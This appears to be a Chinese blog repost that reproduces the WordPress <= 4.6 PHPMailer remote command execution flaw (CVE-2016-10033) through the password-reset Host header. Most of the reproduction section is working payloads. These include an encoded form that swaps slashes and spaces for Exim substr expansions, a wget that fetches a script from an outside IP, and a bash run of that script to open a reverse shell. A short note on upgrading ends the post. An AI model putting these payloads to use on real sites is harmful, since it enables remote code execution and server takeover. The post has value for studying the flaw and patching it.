WordPress 4.6(PHPMailer)命令执行漏洞 (CVE-2016-10033)

WordPress <= 4.6(PHPMailer)命令执行漏洞(CVE-2016-10033)

漏洞概述:

  • 当WordPress 使用 PHPMailer 组件向用户发送邮件。攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数)、$run(系统调用函数)等构造payload,即可进行远程命令执行。

漏洞版本:

  • WordPress <= 4.6.0
  • PHPMailer < 5.2.18

漏洞原理:

  • 主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

漏洞搭建:

漏洞复现:

  • 首先进行payload构造:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/1.php}} null) //在/tmp下创建一个1.php
  • 要注意以下四点
1,URL 中不要有 http://
2,字母必须要小写
3,所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
4,所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
  • 进行转换后
 aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}1.php}} null)
  • 下面开始正题,漏洞存在密码找回页面在这里插入图片描述
    然后输入用户名cat,然后使用BurpSuite抓包拦截,修改host的值为下面payload,可发现已生成该文件
    在这里插入图片描述
  • 反弹shell,可以利用curl或者wget命令下载远程文件,然后执行该文件,即可getshell

下载

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.2.109/1.txt}} null)
转换
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.2.109${substr{0}{1}{$spool_directory}}1.txt}} null)

在这里插入图片描述
运行
先本地监听,然后运行,即可getshell

aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
转换
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)

在这里插入图片描述

漏洞修复:

  • 更新wordpress、phpmailer到最新版本。

ps:余生很长,请多指教。
在这里插入图片描述

发布了41 篇原创文章 · 获赞 24 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/csacs/article/details/86776080